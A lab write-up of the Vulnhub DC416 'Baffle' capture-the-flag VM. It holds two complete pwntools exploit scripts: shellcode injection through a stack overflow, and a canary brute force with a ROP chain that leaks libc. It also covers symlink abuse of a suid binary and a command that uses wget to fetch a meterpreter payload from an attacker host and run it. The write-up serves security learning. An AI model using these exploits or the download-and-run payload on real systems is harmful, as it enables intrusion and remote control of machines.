Vulnhub - DC416: Baffle Writeup
After I finished DC416 - Basement I wanted to give the next VM a try: DC416 - baffle by @superkojiman.
Here are my other writeups for the DC416 challenges:
Information Gathering⌗
As always I started with a netdiscover
to get the machines IP-Address and viewed the instructions on Port 80 in a browser.
Engagement Rules:
No username/password bruteforcing is necessary
This box has 5 flags
Flags are in FLAG{} format
The goal is not to get root. Get the flags and move on
Have fun
So let’s get the party started
root@kali:~/baffle# nmap -sSV -T4 -A -p- 192.168.56.2
Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-02 21:08 CET
Nmap scan report for 192.168.56.2
Host is up (0.00047s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 34:b3:3e:f7:50:91:51:6f:0b:e2:35:7b:d1:34:a1:eb (DSA)
| 2048 b9:a9:a8:bc:db:7d:77:e4:ae:31:1c:16:4f:3b:8b:de (RSA)
|_ 256 88:3f:60:bb:9e:49:53:e3:f7:bb:30:84:7f:a8:f0:17 (ECDSA)
80/tcp open http nginx 1.6.2
| http-git:
| 192.168.56.2:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Trashed my code, but deployed the product anyway.
|_http-server-header: nginx/1.6.2
|_http-title: baffle
6969/tcp open acmsoda?
MAC Address: 08:00:27:84:83:C3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
alice⌗
Nmap found a .git
directory in the webroot with directory listing enabled. This allows us to easily retreive the contents using wget
wget -r --no-parent http://192.168.56.2/.git/
Now we are able to operate with git on the directory:
root@kali:~/baffle# cd 192.168.56.2/
root@kali:~/baffle/192.168.56.2# git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git checkout -- <file>..." to discard changes in working directory)
deleted: hellofriend.c
no changes added to commit (use "git add" and/or "git commit -a")
And here is the commit history:
root@kali:~/baffle/192.168.56.2# git log
commit 8bde72465957415c12ab6f89ff679f8f9e7c5c7a
Author: alice <[email protected]>
Date: Mon Oct 17 14:58:02 2016 -0400
Trashed my code, but deployed the product anyway.
commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
Author: alice <[email protected]>
Date: Mon Oct 17 14:55:07 2016 -0400
Some assembly required
commit 9b5c226d15d611d6957f3fda7c993186270a6cc4
Author: alice <[email protected]>
Date: Mon Oct 17 14:52:40 2016 -0400
Made it into a write-type-thing instead
commit 06483346fab91b2b17471074a887ac7dffd9ceda
Author: alice <[email protected]>
Date: Mon Oct 17 14:44:25 2016 -0400
My cat danced on the keyboard
commit 7edc47a1c3e4dc880a7191915bdbf1565c6b7441
Author: alice <[email protected]>
Date: Mon Oct 17 14:37:14 2016 -0400
This coder turned coffee into code. You won't believe how she did it!
commit d7a1f067a2f4ac469bc4cf77c689a34e2286b665
Author: alice <[email protected]>
Date: Mon Oct 17 14:30:20 2016 -0400
Hello, friend...
Viewing the files on every commit by git checkout HASH
we can extract the following revisions of hellofriend.c
:
d7a1f067a2f4ac469bc4cf77c689a34e2286b665
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int parse_request(char *req, int n) {
return 0;
}
int main(int argc, char *argv[]) {
char buf[2000];
int n;
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
parse_request(buf, n);
return 0;
}
7edc47a1c3e4dc880a7191915bdbf1565c6b7441
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int parse_request(char *req, int n) {
char file[500];
char file_content[500];
int file_len;
char *ptr = req;
FILE *fp;
memset(file, 0, sizeof(file));
ptr = (char *)ptr + 2;
file_len = n - 2 - 5 - 2;
memcpy(file, ptr, file_len);
fp = fopen(file, "r");
if (fp) {
memset(file_content, 0, sizeof(file_content));
fgets(file_content, sizeof(file_content), fp);
printf("%s", file_content);
}
return 0;
}
int main(int argc, char *argv[]) {
char buf[2000];
int n;
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
parse_request(buf, n);
return 0;
}
06483346fab91b2b17471074a887ac7dffd9ceda
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int parse_request(char *req, int n) {
char file[500];
char file_content[500];
int file_len;
char *ptr = req;
FILE *fp;
memset(file, 0, sizeof(file));
ptr = (char *)ptr + 2;
FiLe_len = n - 2 - 5 - 2;
memcpy(file, ptr, file_len);
fp = fopen(file, "r");
if (fp) {
memset(file_content, 0, sizeof(file_content));
fgets(file_content, sizeof(file_content), fp);
printf("%s", file_content);
}
return 0;
}
int mAin(int arGc, char *argv[]) {
char buf[2000];
int n;
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
p{ARSE_REQUEST}(buf, n);
return 0;
}
9b5c226d15d611d6957f3fda7c993186270a6cc4
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char to_write[500];
int parse_request(char *req, int n) {
char data[500];
char file[500];
char file_content[500];
int file_len;
int req_type;
char mode[10];
char *ptr = req;
FILE *fp;
memset(file, 0, sizeof(file));
memset(mode, 0, sizeof(mode));
memset(data, 0, sizeof(data));
memset(to_write, 0, sizeof(to_write));
ptr = (char *)ptr + 2;
file_len = strlen(ptr);
ptr = (char *)ptr + file_len + 1;
ptr = (char *)ptr + 6;
memcpy(to_write, ptr, 500);
memcpy(data, ptr, 2000);
return 0;
}
int main(int argc, char *argv[]) {
char buf[2000];
int n;
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
parse_request(buf, n);
return 0;
}
d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char to_write[500];
int parse_request(char *req, int n) {
char data[500];
char file[500];
char file_content[500];
int file_len;
int req_type;
char mode[10];
char *ptr = req;
FILE *fp;
memset(file, 0, sizeof(file));
memset(mode, 0, sizeof(mode));
memset(data, 0, sizeof(data));
memset(to_write, 0, sizeof(to_write));
ptr = (char *)ptr + 2;
file_len = strlen(ptr);
ptr = (char *)ptr + file_len + 1;
ptr = (char *)ptr + 6;
memcpy(to_write, ptr, 500);
memcpy(data, ptr, 2000);
return 0;
}
int main(int argc, char *argv[]) {
char buf[2000];
int n;
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
parse_request(buf, n);
return 0;
}
8bde72465957415c12ab6f89ff679f8f9e7c5c7a
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char to_write[500];
int parse_request(char *req, int n) {
char data[500];
char file[500];
char file_content[500];
int file_len;
int req_type;
char mode[10];
char *ptr = req;
FILE *fp;
if (req_type == 0x01) {
/* todo */
}
if (req_type == 0x2) {
/* todo */
}
return 0;
}
int main(int argc, char *argv[]) {
char buf[2000];
int n;
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
n = read(0, buf, sizeof(buf));
parse_request(buf, n);
return 0;
}
By looking at the commit log using git log -p
we can also see a file called project.enc
which was deleted in later commits but more on this later.
If we look closely on the file at commit My cat danced on the keyboard
(06483346fab91b2b17471074a887ac7dffd9ceda
) we can notice some uppercase letters. If we only extract the uppercase letters we get the following text:
grep -ohE "[A-Z]" hellofriend.c | tr -d "\n"
FILEFLAGARSEREQUEST
So this looks like a flag string. Extracting it manually from the file reveals our first flag:
FLAG{ARSE_REQUEST}
The service running on port 6969 seems to be a merged version of the hellofriend.c
revisions. The latest version of the code seems to check the request type
of the received packet. Request code 0x01
calls the file read code and request code 0x02
the other one. Also the code always adds two to the char pointer before the filename is parsed so the request type has to be 2 bytes long.
So let’s have a look at the first code: the file read part.
The file read code ignores the first two bytes(the request type) (ptr = (char *)ptr + 2;
) and subtracts 9 from the string length to get the filename length (2 bytes request type + 6 bytes padding + NULL terminator). So all we have to do is send request code 0x01 and pad the filename with 6 random chars.
root@kali:~/baffle# python -c 'print("\x01\x01/etc/passwdaaaaaa")' | nc 192.168.56.2 6969
root:x:0:0:root:/root:/bin/bash
As the fgets
function only reads text up to a newline or EOF (null byte) character we are only able to read the first line of a file. This behaviour is enough to get the contents of flag.txt
:
root@kali:~/baffle# python -c 'print("\x01\x01flag.txtaaaaaa")' | nc 192.168.56.2 6969
FLAG{is_there_an_ivana_tinkle}
If we look at commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca we can see an additional file called project.enc
. The file seems to be base64 encoded so let’s decode it and have a look:
root@kali:~/baffle# git checkout d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca
root@kali:~/baffle# cat project.enc | base64 -d > exe
root@kali:~/baffle/192.168.56.2# file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8d8f87535451003b05db15d14d07818576813b49, not stripped
So this looks like the compiled code and we can start analyzing it. By looking at the c code (because it’s easier to read) we can see our vulnerable code at the bottom:
memcpy(data, ptr, 2000);
The ptr
variable is modified before to cut of the header and then 2000 bytes are written to data
. This copies way more bytes into data
as it is able to hold (char data[500];
).
As we have the binary we can load it in gdb
and check if there are any protections in place
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
We can also check the ASLR status with the file read vulnerability:
root@kali:~/baffle# python -c 'print("\x01\x01/proc/sys/kernel/randomize_va_spaceaaaaaa")' | nc 192.168.56.2 6969
2
So the only protection active is ASLR but the executable is compiled without PIE. At the disassembling we can see the code variable to_write
is located at the fixed location 0x600de0
. As the memcpy executed before our vulnerability copies 500 bytes to this location we can plant our evil shellcode there and jump right to it.
To exploit the vulnerability we first need to be sure we reach the vulnerable memcpy
. By looking at the hellofriend.c
file we can identify the following conditions that must be met:
- request type 0x02 with 2 bytes
- the
file_len
variable is astrlen
of the whole input. As theread
function does not stop at null bytes but thestrlen
does we can simply trick it by adding a null byte. - After the null byte we need to add another 6 bytes
- After the 6 bytes we can plant our malicous code
First we need to get the exact offset where we are able to control our return so let’s create a pattern with a valid header:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 > pattern
python -c 'print("\x02\x02asdf\x00aaaaaa")' | tr -d "\n" > test.txt
cat pattern >> test.txt
Then run it in gdb:
r < test.txt
We can see the ret
instruction would return to 8Ar9As0As1....
so we view the hex representation of the address rsp
points to:
gdb-peda$ x/1xg 0x7fffffffdc98
0x7fffffffdc98: 0x4130734139724138
We can now get the exact offset with pattern_offset.rb
which is 536
:
root@kali:~/baffle# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x4130734139724138
[*] Exact match at offset 536
Now we have all info available to craft our exploit. When running the exploit the shellcode will be placed in the to_write
variable and the return address is overwritten with the location of the variable and the shellcode is executed.
root@kali:~/baffle# ./alice.py
[*] Switching to interactive mode
$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)
We are now dropped into /
but we already have the flag.txt
from this location.
By looking at /etc/passwd
we can see that there are 4 users present on the system
vulnhub:x:1000:1000:vulnhub,,,:/home/vulnhub:/bin/bash
alice:x:1001:1001:Alice,,,:/home/alice:/bin/bash
bob:x:1002:1002:Bob,,,:/home/bob:/bin/bash
charlie:x:1003:1003:,,,:/home/charlie:/bin/bash
Code:
#!/usr/bin/env python2
from pwn import *
context(bits=64,
os="linux",
aslr=False,
terminal=["tmux", "splitw", "-l", "45"])
if len(sys.argv) > 1:
local = True
else:
local = False
HOST = "192.168.56.2"
PORT = 6969
ADDR_TO_WRITE = 0x600de0
OFFSET = 542
def encode_payload(p):
return "".join("\\x{:02x}".format(ord(c)) for c in p)
# msfvenom -p linux/x64/exec -v shell -f py CMD="/bin/bash"
shell = ""
shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shell += "\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
shell += "\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"
header = ""
header += "\x02\x02" # request type
header += "A" * 5 # junk
header += "\x00" # terminator
header += "B" * 6 # junk
payload = ""
payload += shell # shell
payload += "\x90" * (500-len(shell)) # shell padding
payload += "X" * (536 - len(payload)) # offset to trigger the overflow
payload += p64(ADDR_TO_WRITE) # return address
final_payload = header + payload
try:
with context.quiet:
if local:
p = process("./ctftp")
else:
p = remote(HOST, PORT)
log.debug("Sending {}".format(encode_payload(final_payload)))
p.sendline(final_payload)
p.interactive()
except EOFError as e:
log.error(e)
finally:
with context.quiet:
p.close()
bob⌗
Another binary with the suid bit set (owned by charlie
) can be found in /home/bob/filez/flag_vault
. The directory also contains an unreadable flag.txt
and auth.txt
. The flag_vault
binary contains a buffer overflow which I tried several hours to exploit but there is an easier way:
We can copy the binary to a writeable location, create our own auth.txt
and create a symlink to flag.txt
. As the binary uses no absolute paths for the files we can trick it to use these two files and we are able to read the contents of the file and get the next flag.
cd /home/alice/
echo test > auth.txt
ln -s /home/bob/filez/flag.txt /home/alice/flag.txt
ln -s /home/bob/filez/flag_vault /home/alice/flag_vault
$ ./flag_vault
______ _ _ _ _ _ _
| ___| | /\| |/\| | | | | | |
| |_ | | __ _ __ _ \ ` ' /| | | | __ _ _ _| | |_
| _| | |/ _` |/ _` |_ _| | | |/ _` | | | | | __|
| | | | (_| | (_| |/ , . \\ \_/ / (_| | |_| | | |_
\_| |_|\__,_|\__, |\/|_|\/ \___/ \__,_|\__,_|_|\__|
__/ |
|___/
ENTER YOUR AUTHENTICATION CODE: test
CHECKING CODE... CODE IS VALID
DATA: FLAG{tr3each3ry_anD_cUnn1ng}
Using the same trick we can also get the password required by the binary:
ln -fs /home/bob/filez/auth.txt /home/alice/flag.txt
$ ./flag_vault
______ _ _ _ _ _ _
| ___| | /\| |/\| | | | | | |
| |_ | | __ _ __ _ \ ` ' /| | | | __ _ _ _| | |_
| _| | |/ _` |/ _` |_ _| | | |/ _` | | | | | __|
| | | | (_| | (_| |/ , . \\ \_/ / (_| | |_| | | |_
\_| |_|\__,_|\__, |\/|_|\/ \___/ \__,_|\__,_|_|\__|
__/ |
|___/
ENTER YOUR AUTHENTICATION CODE: test
CHECKING CODE... CODE IS VALID
DATA: we_seek_after_knowledge_and_you_call_us_criminals
vulnhub⌗
This one was the hardest challenge on baffle for me.
We can use bob’s flag as a password for the user bob
and ssh into the machine.
sshpass -p tr3each3ry_anD_cUnn1ng ssh [email protected]
The binary /home/bob/binz/ctfingerd
is running on localhost port 7979 under the user vulnhub
. So we pull the binary to our machine and start analyzing it.
In the disassembling of the query_user
function we can see a memset
of 1000 bytes is done for the user input but the read
call reads up to 2000 bytes resulting in an overflow of the buffer. The binary itself has NX and stack canaries enabled so we can not simply overflow the stack as the stack canary would become invalid and terminate the process.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
The main process of the ctfingerd
binary calls fork
after accepting a connection to handle the data sent to it. When doing a fork
the whole memory content is shared with the subprocess. As the Stack Canary is calculated only once at program start and stays the same as long as the main process is active we might be able to bruteforce the canary byte by byte. You can read more about this topic in Phrack Issue 67.
Once the forked process returns the main process prints the string ---\n
. If the canary is invalid the forked process crashes and does not return, so the ---\n
string is never printed. This way we know that if we guessed a valid stack canary or not.
Screenshot of the stack canary check and the fact that there is no return on fail:
Here is a screenshot showing the main
function printing out ---\n
after query_user
returns:
We first try to append one byte after the maximum length of our buffer resulting in an overwrite of the first byte of the stack canary. If we found a correct byte the main process returns ---\n
and we can proceed with the next byte.
After we have the correct stack canary we can continue with exploitation to get code execution. The binary is dynamically compiled and only contains references to read
, write
and other libc functions but no system
.
As the address on the stack right after the canary is the return address we have control over where to forked process returns.
The binary contains a PLT (Procedure Linkage Table)
and a GOT (Global Offsets Table)
. What they are for in detail can be read up here. As we have the write
function available and the program prints out it’s file descriptor on every connect we can craft a ROP chain to write the effective libc address of read
obtained from GOT
to the file descriptor (we could use any of the available GOT
stubs). After leaking the address we can calculate the exact memory location of system
, prepare the parameters and jump to this address.
We can copy the libc binary from the machine using our SSH access and get the offset from read
and calculate libc’s base address.
bob@baffle:~/binz$ ldd ctfingerd
linux-vdso.so.1 (0x00007ffc517b9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5cbc719000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5cbcac4000)
bob@baffle:~/binz$ ls -al /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Sep 5 02:09 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.19.so
To calculate the offsets we first need to get the location of the read
and the system
function.
root@kali:~/baffle# readelf -s libc-2.19.so | grep read@
534: 00000000000dbb90 90 FUNC WEAK DEFAULT 12 __read@@GLIBC_2.2.5
657: 0000000000074890 27 FUNC GLOBAL DEFAULT 12 _IO_file_read@@GLIBC_2.2.5
883: 00000000000dbb90 90 FUNC WEAK DEFAULT 12 read@@GLIBC_2.2.5
1082: 00000000000df390 1411 FUNC GLOBAL DEFAULT 12 fts_read@@GLIBC_2.2.5
1175: 00000000000e8900 31 FUNC GLOBAL DEFAULT 12 eventfd_read@@GLIBC_2.7
1572: 000000000006a460 320 FUNC WEAK DEFAULT 12 fread@@GLIBC_2.2.5
2018: 00000000000da3a0 96 FUNC WEAK DEFAULT 12 pread@@GLIBC_2.2.5
2134: 000000000006a460 320 FUNC GLOBAL DEFAULT 12 _IO_fread@@GLIBC_2.2.5
root@kali:~/baffle# readelf -s libc-2.19.so | grep system@
577: 0000000000041490 45 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1337: 0000000000041490 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
So the read
function is located at offset 0x00000000000dbb90
and system
at offset 0x0000000000041490
. We now need to subtract the read
value from the leaked libc address to get the base address of libc in memory. If we then add 0x0000000000041490
to the calculated base address we get the exact location of system
on the target machine.
As this binary is x64 we can not simply put the arguments for the call to system
on the stack, instead we need to pass them through registers.
On x64 parameters are passed the following way (a list of system calls on x64 can be found here):
function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9)
^system ^arg1 ^arg2 ^arg3 ^arg4 ^arg5 ^arg6
call #
The binary itself has only a few ROP gadgets available so I used a few ones from libc as we now have the base address but I tried to mostly use gadgets from the binary itself.
We can now create a rop chain to put the desired values in the registers, call system and watch our command be executed. I decided to call another read from the socket and put my command into the .dynamic
section of the binary in memory and then call system with this address.
To test the exploit locally we need to adjust the offsets as the libc version differs with the one from the VM. Also the networking code of the binary is really crappy as it never releases a socket resulting in too many open files
error messages when running against the VM. In that case a simple VM reset helps :) But the case that we have to bruteforce the canary on each run and the crappy socket handling makes debugging this binary a pain in the ass - thanks @superkojiman :D
We can expose the local port on our machine by using a SSH port forward and executing the script again - this should get us a shell:
sshpass -p tr3each3ry_anD_cUnn1ng ssh -L 7979:localhost:7979 [email protected]
Final output of the exploit:
root@kali:~/baffle# ./ctfingerd.py
[+] Found part 1/8 of stack canary: 0x0
[+] Found part 2/8 of stack canary: 0x19
[+] Found part 3/8 of stack canary: 0xfb
[+] Found part 4/8 of stack canary: 0x13
[+] Found part 5/8 of stack canary: 0x6b
[+] Found part 6/8 of stack canary: 0xc8
[+] Found part 7/8 of stack canary: 0x35
[+] Found part 8/8 of stack canary: 0x96
[+] Stack Canary is \x00\x19\xfb\x13\x6b\xc8\x35\x96
[*] read@got: 0x6014f8
[*] leak fd: 817
[*] Sending leak payload ...
[*] leaked read address: 0x7f4379fa1b90
[*] libc base: 0x7f4379ec6000
[*] system: 0x7f4379f07490
[*] fd: 818
[*] Paused (press any to continue)
meterpreter > sysinfo
Computer : 192.168.56.2
OS : Debian 8.6 (Linux 3.16.0-4-amd64)
Architecture : x64
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(vulnhub) gid=1000(vulnhub) groups=1000(vulnhub),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
$ cat flag.txt
Sorry Mario. The flag is in another castle.
$ ls -alh
ls -alh
total 40K
drwx------ 3 vulnhub vulnhub 4.0K Oct 25 16:49 .
drwxr-xr-x 6 root root 4.0K Oct 20 03:38 ..
-rw------- 1 vulnhub vulnhub 0 Oct 20 03:28 .bash_history
-rw-r--r-- 1 vulnhub vulnhub 220 Sep 12 15:05 .bash_logout
-rw-r--r-- 1 vulnhub vulnhub 3.5K Sep 12 15:05 .bashrc
-rw-r--r-- 1 vulnhub vulnhub 45 Oct 25 16:49 flag.txt
-rw-r--r-- 1 vulnhub vulnhub 462 Jan 2 16:00 log.txt
drwxr-xr-x 2 root root 4.0K Oct 25 16:46 .my_loot
-rw-r--r-- 1 vulnhub vulnhub 675 Sep 12 15:05 .profile
-rwx------ 1 vulnhub vulnhub 297 Oct 20 03:21 run_service.sh
-rw-r--r-- 1 vulnhub vulnhub 74 Oct 20 02:08 .selected_editor
$ cat .my_loot/flag.txt
cat .my_loot/flag.txt
!!! CONGRATULATIONS !!!
.-"-.
/ 4 4 \
\_ v _/
// \\
(( ))
=======""===""=======
|||
'|'
FLAG{i_tot_i_saw_a_puddy_tat}
Code:
#!/usr/bin/env python2
from pwn import *
import re
import sys
context(bits=64,
os="linux",
aslr=False,
#log_level="DEBUG",
terminal=["tmux", "splitw", "-l", "45"])
if len(sys.argv) > 1:
local = True
else:
local = False
if local:
p_main = process("./ctfingerd")
def encode_payload(p):
return "".join("\\x{:02x}".format(ord(c)) for c in p)
def send_content(content):
t = 1 if local else 2
with context.quiet:
p = None
try:
p = remote("127.0.0.1", 7979)
temp = p.recvuntil("User to query: ", timeout=t)
m = re.search(r"Socket fd: ([0-9]+)", temp)
if m:
log.info("FD: {}".format(m.group(1)))
fd = int(m.group(1))
p.send(content)
p.recvuntil("Checking...\n", timeout=t)
content = p.recv(timeout=t)
content = content.strip()
return content
finally:
if p:
p.close()
if local:
p_main.recv()
return None
def brute_next_canary_value(stack):
for x in xrange(0, 256):
payload = stack + chr(x)
retval = send_content(payload)
if retval is None:
log.error("something has gone wrong")
if "---" in retval:
return x
log.error("Can not find next canary")
return None
def leak_address(address):
with context.quiet:
p = remote("127.0.0.1", 7979)
temp = p.recvuntil("User to query: ")
m = re.search(r"Socket fd: ([0-9]+)", temp)
fd = int(m.group(1))
log.info("leak fd: {}".format(fd))
payload = ""
payload += user
payload += stack_canary
payload += p64(dummy) # RBP
# write:
# rdi: fd
# rsi: buf
# rdx: count
# rdx is 0x25 from previous calls
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(address)
payload += p64(dummy)
payload += p64(pop_rdi_ret)
payload += p64(fd)
payload += p64(write_plt)
payload += p64(dummy)
log.info("Sending leak payload ...")
p.send(payload)
p.recvuntil("Checking...\n")
c = p.recv()
with context.quiet:
p.close()
# only take the last RDX bytes, the rest is the plan file or error message
c = c[-37:]
# trim to 8 bytes as we received more bytes
leak = c[:8]
leak = unpack(leak, "all")
return leak
stack_len = 1000
user = "A" * 20
user += "\x0a"
user += "A" * (stack_len - len(user))
stack_canary = ""
for a in xrange(1, 9):
ret = brute_next_canary_value(user + stack_canary)
log.success("Found part {}/8 of stack canary: {:#02x}".format(a, ret))
stack_canary += chr(ret)
log.success("Stack Canary is {}".format(encode_payload(stack_canary)))
dummy = 0xdeadbeefdeadbeef
pop_rdi_ret = 0x401013 # pop rdi; ret
pop_rsi_pop_r15_ret = 0x0401011 # pop rsi ; pop r15 ; ret
with context.quiet:
b = ELF("./ctfingerd")
read_got = b.got["read"]
write_plt = b.plt["write"]
log.info("read@got: {:#08x}".format(read_got))
leak = leak_address(read_got)
log.info("leaked read address: {:#08x}".format(leak))
if local:
# local libc version 2.24
offset_read = 0xdb5b0
offset_system = 0x3f460
# xor rax, rax ; ret
offset_xor_rax_rax = 0x80615
# syscall ; ret
offset_syscall = 0xa85f5
# pop rdx ; ret
offset_pop_rdx = 0x1b92
else:
# remote libc version 2.19
offset_read = 0x0dbb90
offset_system = 0x41490
# xor rax, rax ; ret
offset_xor_rax_rax = 0x81dd5
# syscall ; ret
offset_syscall = 0xbade5
# pop rdx ; ret
offset_pop_rdx = 0x1b8e
libc_base = leak - offset_read
log.info("libc base: {:#08x}".format(libc_base))
addr_system = libc_base + offset_system
log.info("system: {:#08x}".format(addr_system))
if local:
gdb_cmd = []
gdb_cmd.append("set follow-fork-mode child")
# gdb_cmd.append("b *{:#08x}".format(offset_syscall))
# gdb_cmd.append("b *{:#08x}".format(pop_rsi_pop_r15_ret))
gdb_cmd.append("b *{:#08x}".format(pop_rdi_ret))
# gdb_cmd.append("b *{:#08x}".format(addr_system))
gdb_cmd.append("c")
gdb_cmd = "\n".join(gdb_cmd)
# gdb.attach(p_main, gdb_cmd)
with context.quiet:
p = remote("127.0.0.1", 7979)
temp = p.recvuntil("User to query: ")
m = re.search(r"Socket fd: ([0-9]+)", temp)
fd = int(m.group(1))
log.info("fd: {}".format(fd))
free_space = 0x6012c0 # .dynamic
command = "/bin/sh -c \"/usr/bin/rm -f /tmp/meterpreter; /usr/bin/wget -O /tmp/meterpreter http://192.168.56.3/meterpreter ; chmod +x /tmp/meterpreter; /tmp/meterpreter\"\x00";
payload = ""
payload += user
payload += stack_canary
payload += p64(dummy)
payload += p64(pop_rdi_ret)
payload += p64(dummy)
# read via libc
# sys_read:
# rax: 0
# rdi: fd
# rsi: *buf
# rdx: count
payload += p64(libc_base + offset_xor_rax_rax)
payload += p64(pop_rdi_ret)
payload += p64(fd)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(free_space)
payload += p64(dummy)
payload += p64(libc_base + offset_pop_rdx)
payload += p64(len(command))
payload += p64(libc_base + offset_syscall)
payload += p64(pop_rdi_ret)
payload += p64(free_space)
payload += p64(addr_system)
p.send(payload)
p.recvuntil("Checking...\n")
sleep(1)
p.send(command)
p.recv()
with context.quiet:
p.close()
pause()
if local:
p_main.close()
charlie⌗
Getting charlies flag was straightforward
$ cd /home/charlie
cd charlie
$ cat flag.txt
cat flag.txt
FLAG{i_haz_sriracha_ice_cream}
Finally all 5 flags after a lot of fun hours exploiting the binaries :)
All 5 flags:
FLAG{ARSE_REQUEST}
FLAG{is_there_an_ivana_tinkle}
FLAG{tr3each3ry_anD_cUnn1ng}
FLAG{i_tot_i_saw_a_puddy_tat}
FLAG{i_haz_sriracha_ice_cream}